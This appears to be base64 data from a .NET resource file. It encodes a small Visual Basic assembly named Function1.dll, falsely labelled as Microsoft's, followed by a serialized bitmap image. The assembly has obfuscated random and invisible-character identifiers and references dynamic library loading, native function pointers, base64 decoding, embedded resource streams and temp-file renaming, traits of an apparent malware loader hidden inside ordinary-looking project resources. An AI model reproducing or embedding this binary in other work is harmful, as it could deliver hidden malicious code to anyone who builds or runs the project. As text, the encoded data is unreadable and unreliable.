TQAAAAAAAwBGAyUIgAFPAAAAAAADAEYDfAiQAVYAAAAAAAMARgOaCJsBWQAAAAAAAwAGGHsHFwFfAAAA - AAADAEYDJQimAWEAAAAAAAMARgN8CLABZAAAAAAAAwBGA5oItwFlAAAAAAADAAYYewcXAWYAAAAAAAMA - RgMlCB0BaAAAAAAAAwBGA3wIKQFsAAAAAAADAEYDmggwAW0AAAAAAAMABhh7BxcBcAAAAAAAAwBGAyUI - vAFyAAAAAAADAEYDfAgpAXkAAAAAAAMARgOaCMsBegAAAAAAAwAGGHsHFwF/AAAAAAADAEYDJQjVAYEA - AAAAAAMARgN8CLABhQAAAAAAAwBGA5oI4AGGAIg3AAAAABEYgQc3AIgAoDcAAAAABhh7BxMAiACoNwAA - AAAWCP4KTwCIAAAAAQC4BgAAAQC4BgAAAQC4BgAAAgC6BgAAAwC8BgAAAQC4BgAAAgC6BgAAAQC4BgAA - AQC4BgAAAQC4BgAAAgC6BgAAAQC4BgAAAgC6BgAAAQC4BgAAAgC6BgAAAQC4BgAAAQC4BgAAAQC4BgAg - AQCxBwAAAQDFBwAgAgCxBwAAAQCxBwAAAgDdBwAAAQDoBwAAAQAFCAAAAQALCAAAAgAYCAAAAQAxCAAA - AgBDCAAAAwBYCAAABABpCAAAAQCGCAAgAAAAAAAAAQAxCAAAAgBDCAAAAQALCAAAAgAYCAAAAQChCAAA - AgC2CAAAAwDKCAAABADdCAAgBQDyCAAABgAECQAABwAWCQAACAApCQAACQA+CQAACgBQCQAACwBYCAAA - DABpCAAAAQCGCAAgAAAAAAAAAQChCAAAAgC2CAAAAwDKCAAABADdCAAgBQDyCAAABgAECQAABwAWCQAA - CAApCQAACQA+CQAACgBQCQAAAQALCAAAAgAYCAAAAQBlCQAAAgB2CQAAAwCLCQAABACfCQAABQCwCQAA - BgBYCAAABwBpCAAAAQCGCAAAAQBlCQAAAgB2CQAAAwCLCQAABACfCQAABQCwCQAAAQALCAAAAgAYCAAA - AQDBCQAAAgDUCQAAAwDoCQAABAD9CQAABQASCgAABgBYCAAABwBpCAAAAQDoCQAAAgASCgAAAwCGCAAg - AAAAAAAAAQDBCQAAAgDUCQAAAwDoCQAABAD9CQAABQASCgAAAQALCAAAAgAYCAAAAQAmCgAAAgBYCAAA - AwBpCAAAAQCGCAAAAQAmCgAAAQALCAAAAgAYCAAAAQA5CgAAAgBMCgAAAwBYCAAABABpCAAAAQCGCAAg - AAAAAAAAAQA5CgAAAgBMCgAAAQALCAAAAgAYCAAAAQBhCgAAAgB2CgAAAwCLCgAABACfCgAABQC0CgAA - BgBYCAAABwBpCAAAAQCGCAAAAQBhCgAAAgB2CgAAAwCLCgAABACfCgAABQC0CgAAAQALCAAAAgAYCAAA - AQDJCgAAAgDdCgAAAwBYCAAABABpCAAAAQCGCAAAAQDJCgAAAgDdCrkAewfzAekAewcTAJkAewcWAiEA - ewcTADkAewcTAPEAewcTAEEAewe/AgECewfNAuEBewcTALkBewc6A5EBewc6A4EBewc6AwkCewc6A5kB - ewc6A+kBewcTAIkBewc6A6kBewc6A7EBewc6A9kBewfvA/kBewcTAAkAewcTACkAewcTAAwAewcTABQA - ewcTABwAewcTACQAewcTAAwAuAbwABQAuAbwABwAuAbwACQAuAbwAHEBFAsyBEkCJAs4BEkCNgtBBNEB - ewdHBCwAewfvA0ECQwuaBCwASQufBHkBVQuoBHkBaguoBHkBfQuuBAEBewe1BAEBlwu7BPkAoAvBBMEB - qgvOAEkBewfHBEkBvAvOBEkBxgvSBHkB0AvYBHkB2AvUAKEBewc6A6EB5QveBEkB9wvjBGEBBgy2AEkB - EwzKACkCewfpBDECHQzvBDECKQz1BDEBmwf9BCkCMwwSASwAOgwCBSwAPgzKAEkBSAwTAEECTgyaBDQA - ewcTADQAUww+BaEBXAzUADECZQxIBTQAOgxOBTQAPgzKADQAbgxUBTQAdwxaBQEBewcTAMEBgAzKAHEB - ewcTAPEBkgyKBXEBiAfFAHEBjwfKAHEBmwfUAFkAoQyqBUQAewcTAEwAuAboAEQAsAzwAEQAugxOBREC - xAzPBVkB4gwHBgkB7gwHBlkBAg0SASkCEw0LBlEBGg0RBjEAHw0YBkkALg0WAhkAOQ0dBhkASQ03AEEB - Ww0kBnEAYA0nBnEAaA0zBkEBewfvAzkCewc6A0EBewe2AEEBcA1JBkEBYA3KAIEAfA1YBnEAZQxoBjEC - hg3vBNkAkA15BjECKQx/BtEAoQ2FBskAewcTAC4AawBOAy4AcwB4Ay4AewCFAy4AUwDHAi4AWwDHAi4A - YwA/Ay4AkwDYAy4AmwDmAy4AowD5AS4AgwCkAy4AQwDHAi4AiwDFA0AACwDqAUAAEwD5AUMACwDqAUMA - GwD+AWMAGwD+AWMACwDqAYAAEwD5AYMAGwD+AYMAIwD5AYMAKwD5AaAAEwD5AaMAKwD5AaMAMwD5AaMA - IwD5AcAAEwD5AcMAMwD5AcMAIwD5AcMAKwD5AcMAGwAcAuAAEwD5AUMCOwBdAkMCCwDqAWMCQwDHAmMC - CwDqAaMDGwDXAqMDSwD5AaMDCwAxA+AEEwD5AeAECwDqAQAFEwD5AQAFCwDqASAFCwDqASAFEwD5AUAF - EwD5AUAFCwDqAWAFCwDqAWAFEwD5AYAFEwD5AaAFEwD5AcAFEwD5AcAFCwDqAeAFEwD5AScA+wArAPsA - QwA3AVUANwFnADcBcQA3AbMANwHbADcBEAQVBBoEHwQkBCkETwRcBAoFFAUfBWEFbwV7BYYFjwWTBZkF - nQW+BdgFcwYdAAEAAAAKC9ICAgBYAAMAPwD0A/sDAgQJBFUEOAWiBbAFtwXHBUMBYwCkBwEAQwFlALYH - AQAEgAAAAQAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAQAZAAAAAAAIAAAAAAAAAAAAAAAKACIA - AAAAAAIAAAAAAAAAAAAAAAEAOAAAAAAAAAAAAAEAAABIAAAAuAAAAAIAAABmAAAACgAJAAsACQAMAAkA - DQAJAA4ACQAPAAkAEAAJABEACQASAAQAEwAEABUAFAAWABQAFwAUABgAFAAZABQAGgAUABsAFAAcABQA - AAAQACYAuAYAABAAWQASCwAAAABbABILAAAAAGcAEgufAKUFnwDKBWYALgZmADoGZgA/BmYARAZmAE4G - ZgBTBmYAYwZmAG4GAEZ1bmN0aW9uMQBGdW5jdGlvbjEuZGxsAG1zY29ybGliAE1pY3Jvc29mdC5WaXN1 - YWxCYXNpYwBTeXN0ZW0Aa2VybmVsMzIARnVuY3Rpb24xLlJlc291cmNlcy5yZXNvdXJjZXMA4oCH4oCI - 4oCJ4oCC4oCI4oCL4oCD4oCE4oCF4oCA4oCJ4oCC4oCIAEFwcGxpY2F0aW9uQmFzZQBNaWNyb3NvZnQu - VmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBVc2VyAFByb2plY3REYXRhAE1pY3Jvc29mdC5W - aXN1YWxCYXNpYy5Db21waWxlclNlcnZpY2VzAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAENvbXB1dGVy - AE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5EZXZpY2VzAFNlcnZlckNvbXB1dGVyAEhpZGVNb2R1bGVOYW1l - QXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAEZpbGVTeXN0ZW1Qcm94eQBNaWNyb3Nv - ZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcwBDb250ZXh0VmFsdWVgMQBNaWNyb3NvZnQuVmlzdWFsQmFz - aWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABBY3RpdmF0b3IAQXJyYXkAQXN5bmNDYWxsYmFjawBCaXRDb252 - ZXJ0ZXIAQm9vbGVhbgBCdWZmZXIAQnl0ZQBDaGFyAEdlbmVyYXRlZENvZGVBdHRyaWJ1dGUAU3lzdGVt - LkNvZGVEb20uQ29tcGlsZXIARGljdGlvbmFyeWAyAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAElF - bnVtZXJhYmxlYDEATGlzdGAxAEVkaXRvckJyb3dzYWJsZUF0dHJpYnV0ZQBTeXN0ZW0uQ29tcG9uZW50 - TW9kZWwARWRpdG9yQnJvd3NhYmxlU3RhdGUAQXBwbGljYXRpb25TZXR0aW5nc0Jhc2UAU3lzdGVtLkNv - bmZpZ3VyYXRpb24AU2V0dGluZ3NCYXNlAENvbnZlcnQARGVsZWdhdGUARGVidWdnZXJIaWRkZW5BdHRy - aWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUAU3RhY2tG - cmFtZQBTdGFja1RyYWNlAEVudmlyb25tZW50AEV4Y2VwdGlvbgBDdWx0dXJlSW5mbwBTeXN0ZW0uR2xv - YmFsaXphdGlvbgBJQXN5bmNSZXN1bHQASW50MTYASW50MzIASW50NjQASW50UHRyAEJpbmFyeVJlYWRl - cgBTeXN0ZW0uSU8ARmlsZQBQYXRoAFN0cmVhbQBNdWx0aWNhc3REZWxlZ2F0ZQBPYmplY3QAQXNzZW1i - bHkAU3lzdGVtLlJlZmxlY3Rpb24AQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAEFzc2VtYmx5Q29weXJp - Z2h0QXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lv - bkF0dHJpYnV0ZQBBc3NlbWJseU5hbWUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5VGl0 - bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUATWVtYmVySW5mbwBNZXRob2RCYXNl - AFJlc291cmNlTWFuYWdlcgBTeXN0ZW0uUmVzb3VyY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRy - aWJ1dGUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxlckdlbmVyYXRlZEF0dHJp - YnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBSdW50aW1lSGVscGVycwBTdXBwcmVzc0ls - ZGFzbUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2 - aWNlcwBHdWlkQXR0cmlidXRlAE1hcnNoYWwAUnVudGltZU1ldGhvZEhhbmRsZQBSdW50aW1lVHlwZUhh - bmRsZQBTdHJpbmcARW5jb2RpbmcAU3lzdGVtLlRleHQAU3RyaW5nQnVpbGRlcgBNb25pdG9yAFN5c3Rl - bS5UaHJlYWRpbmcAVHlwZQBVSW50MTYAVUludDMyAFVJbnQ2NABWb2lkADxNb2R1bGU+AAIAAwAFAAYA - CAAOAA8AAuKAgABGdWNrAGRxb2l1ZGtmbnF4cmdzdHZzYQBmYmR3bmVidmZmZ3ZudHlseABmZmVjYndr - ZWtocGVyb3ZmZXIAaHpicnd5emVwaGVzemp6egBrcnpxcHJjcXppenZyZmppYQBueXZ6ZGFzcWRxZWpi - Z29ib2NwAHR4aWpuYW9jcGlmc2F1bnMAdnFyd3dmaHl6YXJob3VxbGFvAE15U2V0dGluZ3MARnVuY3Rp - b24xLk15AC5jdG9yAC5jY3RvcgBFcXVhbHMAR2V0SGFzaENvZGUAVG9TdHJpbmcATG9hZExpYnJhcnlB - AG5hbWUAR2V0UHJvY0FkZHJlc3MAaGFuZGxlAHJ4cWJ6bHRvZmVxenBhZ3gAbWV0aG9kAFlvdQB4ZmVx - cGt5ZWpxcHdkdGxybHFpaABHZXRiYWNrAGlucHV0AFRhcmdldE9iamVjdABUYXJnZXRNZXRob2QAQmVn - aW5JbnZva2UAdXFyZ2hvanphZG53enN6bHgAdHhlcGlkc2xjZ2JxcXpwZ2h5cG8ARGVsZWdhdGVDYWxs - YmFjawBEZWxlZ2F0ZUFzeW5jU3RhdGUARW5kSW52b2tlAERlbGVnYXRlQXN5bmNSZXN1bHQASW52b2tl - AG5zYWFheXl4aXd4dXRhZGdzYWFvAHlhZWxnc3l5dXVrenRycXZhaXIAY2V3bHppcHpzdmd5aXp0d2lr - AGlud3d4cndxaWRqcWV1eXhrb29kAHdmb29qdnZiYm5nbHNjZ3hxAGh0aWVseXZkZGZhZGtudGd6AGtr - cnV0d29kZWlocHRxandsaQBueGdzdHBvZmF1aGZjanJlaXJvcQBsempnY3JvcHhqdWNqemhydQBjeGRi - dWR5eWx3dm92cGlremd2dgByeWNnd3dneGFycmZrc2h4AG5ncmpsdWxkdmNrcWxmeGRrc3JxAGVnd2Fq - Z2ZqaGh5eXRmcHBkcGQAZXR6Y3hraG9xcW5keHRjcQB6ZWt6eGl6YnpnbnNydGVoAHdsZ3RxYmRxZ2Fm - aW9sd2t6bABxdXZ3dGh3d2pndnVob2t4bmViAGZndXh3enBpZXBqaWhha3Vya3BmAHZjYWtydmJodndo - dWNlYXFlcWJ1AG5pdmhqdGpza2lrcHZqbHhydm8Aa3Rpd3Fsb3V1cWtzaXRiZmZ3AGtpdHp5dmNuc2t0 - bmVoY3d5cQBodmNwdGpodWVra3RpZXBoZWZiZAB5dXp3Zm9ndWdrd2l4cW5qb2JkawBqb3dweGRqd3Fq - dWhvZ3Fyc3hkcwBmcHZ4ZXprYmNkcnlucnZya2x4AHRmd3lrc2FiZmNlcXV1ZW50ZmtpAHJycnJ4b3Nl - bnllamZzbmlycmh5AHJlZm9mYmlrdndiYWhrd3VjbGoAdmRldWFkbGpoY2FwZG93awBkZWZhdWx0SW5z - dGFuY2UAZ2V0X0RlZmF1bHQARGVmYXVsdABUAFJlZmVyZW5jZUVxdWFscwBHZXRUeXBlRnJvbUhhbmRs - ZQBnZXRfQXNzZW1ibHkARW50ZXIAVHJ5R2V0VmFsdWUAR2V0RXhlY3V0aW5nQXNzZW1ibHkAR2V0Q2Fs - bGluZ0Fzc2VtYmx5AEdldE1hbmlmZXN0UmVzb3VyY2VTdHJlYW0AR2V0RnJhbWUAR2V0TWV0aG9kAGdl - dF9EZWNsYXJpbmdUeXBlAFJlYWRJbnQxNgBSZWFkQnl0ZXMAR2V0TmFtZQBnZXRfRnVsbE5hbWUAR2V0 - UHVibGljS2V5VG9rZW4AZ2V0X0Jhc2VTdHJlYW0Ac2V0X1Bvc2l0aW9uAFJlYWRJbnQzMgBnZXRfVW5p - Y29kZQBHZXRTdHJpbmcASW50ZXJuAEFkZABnZXRfQ291bnQAQ2xvc2UARXhpdABBZGRSYW5nZQBnZXRf - TmFtZQBHZXRCeXRlcwBnZXRfSXRlbQBzZXRfSXRlbQBnZXRfTWV0YWRhdGFUb2tlbgBHZXRPYmplY3RW - YWx1ZQBDcmVhdGVJbnN0YW5jZQBnZXRfVmFsdWUAc2V0X1ZhbHVlAEdldERlbGVnYXRlRm9yRnVuY3Rp - b25Qb2ludGVyAEdldFRlbXBQYXRoAGdldF9TeXN0ZW1EaXJlY3RvcnkAR2V0RGlyZWN0b3J5TmFtZQBD - b25jYXQAQ29weQBnZXRfRmlsZVN5c3RlbQBSZW5hbWVGaWxlAFNldFByb2plY3RFcnJvcgBDbGVhclBy - b2plY3RFcnJvcgBaZXJvAFRvSW50MzIAVG9JbnQxNgBvcF9FeHBsaWNpdABCbG9ja0NvcHkAZ2V0X0FT - Q0lJAEZyb21CYXNlNjRTdHJpbmcAU3luY2hyb25pemVkAAAAHoSCA2XzJkymzxE9eBOMSAAIt3pcVhk0 - 4IkIsD9ffxHVCjoDIAABBwYVEkwBEgwHBhUSTAESCAcGFRJMARIJBwYVEkwBEkgDAAABBAAAEgwEAAAS - CAQAABIJBAAAEkgEAAASdAQGEoDpBAYSgI0FAAASgOkFAAASgI0GAAEBEoCNBwYVElECCA4EBhKApQMG - HQUCBgYCBggEAAEOCAgAAwEdBQgdBQgAAh0FHQUdBQMGEigDAAAKAwAAAgYAAQgSgSUDIAAKBCABAQoF - AAIICAgDAAAIBCABAhwDIAAIBSAAEoElAyAADgcQAQEeAB4ABzABAQEQHgAHBhUSKQETAAQgABMABQAB - GBAOASIGAAIYGBAOBxABAh4ADg4FAAECHQUEAAEODgUgAgEcGAsgBBKAkRgdCRI1HAYgAQISgJEGIAIC - GB0JAQIWIAwSgJEOEoEdGBgCCBgOHQUdGBI1HBEgCgIOEoEdGBgCCBgOHQUdGA0gBxKAkRgYGAgIEjUc - BiABGBKAkQggBRgYGBgICA8gBxKAkRgYEBgIEBgSNRwKIAMCEBgQGBKAkQogBQIYGBAYCBAYCSADEoCR - GBI1HAYgAQkSgJEEIAEJGA4gBxKAkRgYHQUJCBI1HAkgBQIYGB0FCQgKIAQSgJEYGBI1HAUgAgkYGAMG - EnQIAQABAAAAAAAFIAEBEWEEAQAAABcBAApNeVRlbXBsYXRlBzguMC4wLjAAAAUgAgEODkABADNTeXN0 - ZW0uUmVzb3VyY2VzLlRvb2xzLlN0cm9uZ2x5VHlwZWRSZXNvdXJjZUJ1aWxkZXIHNC4wLjAuMAAAYQEA - NFN5c3RlbS5XZWIuU2VydmljZXMuUHJvdG9jb2xzLlNvYXBIdHRwQ2xpZW50UHJvdG9jb2wSQ3JlYXRl - X19JbnN0YW5jZV9fE0Rpc3Bvc2VfX0luc3RhbmNlX18AAAAHIAQBDg4ODgUBAAAAAAQgAQECBAgAEnRZ - AQBLTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5FZGl0b3JzLlNldHRpbmdzRGVzaWduZXIuU2V0dGluZ3NT - aW5nbGVGaWxlR2VuZXJhdG9yCDEwLjAuMC4wAAAIAQACAAAAAAAEIAEBDg4BAAlNaWNyb3NvZnQAACkB - ACQ0NDFiNTIxYy1iYWI5LTQwM2EtOWY0NS0yNmExODExYjA5NWQAAAwBAAcxLjAuMC4xAAAeAQABAFQC - FldyYXBOb25FeGNlcHRpb25UaHJvd3MBIAEAG0NvcHlyaWdodCDCqSBNaWNyb3NvZnQgMjAxMQAAEgEA - DUZ1bmN0aW9uIE1haW4AAA0BAAhGdW5jdGlvbgAACAEACAAAAAAABCABAQgGFRJMARIMBhUSTAESCAYV - EkwBEgkGFRJMARJIBAcBEgwEBwESCAQHARIJBAcBEkgEBwESdAgHAhKA6RKA6QUAAgIcHAgAARKBJRGB - EQUgABKAvQcgAgEOEoC9BQcBEoCNBhUSUQIIDj0HIg4IEoC9EoC9EoCxCBKAgRJ9EoDlEoElAgYSgNEK - CB0FBggIHQUCAgIdBQgFCB0FCB0DCA4VElECCA4IBAABARwIIAICEwAQEwEFAAASgL0GIAESgLEOBSAC - AQgCBSABEn0IBSAAEoDlBiABARKAsQMgAAYFIAEdBQgFIAASgNEEIAAdBQUgABKAsQUgAQEdAwUAABKB - GQcgAw4dBQgIBCABDg4HIAIBEwATAQkHBwgICAgICAgKBwgFCAUJBwgFBRgHDAoSgL0VElkBBRKA0R0F - CAgICwgKEigFFRJZAQUJIAEBFRJVARMABSABHQUOBSABARMABSABEwAIBiACAQgTAA0HBBKAgRJ9EoDl - EoElCwcIHQgICAgICAgLCgcHHQgICAgICAgDBwECBAABHBwDBwEIBQcBEoElAwcBDgQHAR4AAh4ABAoB - HgAFEAEAHgAGFRIpARMABhUSTAETAAgHAxMAEwATAAITAAQKARMACAACEnEYEoElLgcfAhgOElQIElgI - HRgYHQUdCRJkEnAYGBgYEmASbAgIEmgIGBJcGBgIHQUdCAgDAAAOBQACDg4OBgADAQ4OAgQgABIlBgAB - ARKAiQIGGAYAAggdBQgECgESWAYAAgYdBQgECgESVAQKARJwBAoBEmAEAAEIGAQKARJcBAoBEmwKAAUB - EjEIEjEICAQKARJoBQABHQUIBAoBEmQFBwMODg4FAAEdBQ4FIAEOHQUGAAESaRJpABsHIAggCSACIAgg - CyADIAQgBSAAIAkgAiAIIAEDWAAAAAAASGEAAAAAAAAAAAAAamEAAAAgAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAFxhAAAAAAAAAAAAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIEAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAYAAADAAAAHwxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwADAAAA - KAAAgA4AAABIAACAEAAAAGAAAIAAAAAAAAAAAAAAAAAAAAIAAgAAAHgAAIADAAAAkAAAgAAAAAAAAAAA - AAAAAAAAAQAAfwAAqAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAwAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAA - 2AAAAAAAAAAAAAAAAAAAAAAAAQAAAAAA6AAAAAAAAAAAAAAAAAAAAAAAAQAAAAAA+AAAAAAAAAAAAAAA - AAAAAAAAAQAAAAAACAEAABihAADoAgAAAAAAAAAAAAAApAAAKAEAAAAAAAAAAAAAKKUAACIAAAAAAAAA - AAAAAEylAAAAAwAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA - ////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAd3d3d3d3d3d3d3d3d3dwBEREREREREREREREREREcAT/////////////////9HAE//// - //////////////RwBP/////////////////0cAT/////////////////9HAE//////////////////Rw - BP/////////////////0cAT/////////////////9HAE//////////////////RwBP////////////// - ///0cAT/////////////////9HAE//////////////////RwBP/////////////////0cAT///////// - ////////9HAE//////////////////RwBP/////////////////0cAT/////////////////9HAE//// - //////////////RwBP/////////////////0cASIiIiIiIiIiIiIiIiIhHAERERERERERERERERERERw - BExMTExMTExMTE7Ozkl0cATMzMzMzMzMzMzMzMzMxAAAREREREREREREREREREAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////////////////////8AAAAGAAAAB - gAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAB - gAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAA8AAAAf///////////////8oAAAAEAAAACAAAAABAAQA - AAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAA - AAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAB3d3d3d3d3dERERERERER0////////hH - T///////+EdP///////4R0////////hHT///////+EdP///////4R0////////hHT///////+EdIiIiI - iIiIR0zMzMzMzMxHxERERERERMAAAAAAAAAAAAAAAAAAAAAA//8AAIAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAD//wAA//8AAAAAAQACACAgEAABAAQA6AIAAAIA - EBAQAAEABAAoAQAAAwAAAAADNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+ - AAABAAAAAQABAAAAAAABAAEAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIA - RgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsARgAgAA - AQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAAA8AgAAAQAwADAAMAAwADAANABiADAAAAA0AAoA - AQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAE0AaQBjAHIAbwBzAG8AZgB0AAAAPAAJAAEARgBpAGwA - ZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEYAdQBuAGMAdABpAG8AbgAAAAAAMAAIAAEARgBpAGwA - ZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAxAAAAPAAOAAEASQBuAHQAZQByAG4AYQBsAE4A - YQBtAGUAAABGAHUAbgBjAHQAaQBvAG4AMQAuAGQAbABsAAAAXAAbAAEATABlAGcAYQBsAEMAbwBwAHkA - cgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIACpACAATQBpAGMAcgBvAHMAbwBmAHQAIAAyADAA - MQAxAAAAAABEAA4AAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAARgB1AG4AYwB0AGkA - bwBuADEALgBkAGwAbAAAADwADgABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAARgB1AG4AYwB0AGkA - bwBuACAATQBhAGkAbgAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4A - MAAuADEAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4A - MQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAA= - - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAJJwBAAL/2P/gABBKRklGAAECAQBIAEgAAP/uAA5BZG9iZQBkAAAAAAH/4RgWRXhpZgAATU0AKgAAAAgACQESAAMAAAABAAEAAAEaAAUAAAABAAAIhgEbAAUAAAABAAAIjgEoAAMAAAABAAIAAAExAAIAAAAcAAAIlgEyAAIAAAAUAAAIsodpAAQAAAABAAAIxpycAAEAAABEAAARCuocAAcAAAgMAAAAegAAEU4c6gAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA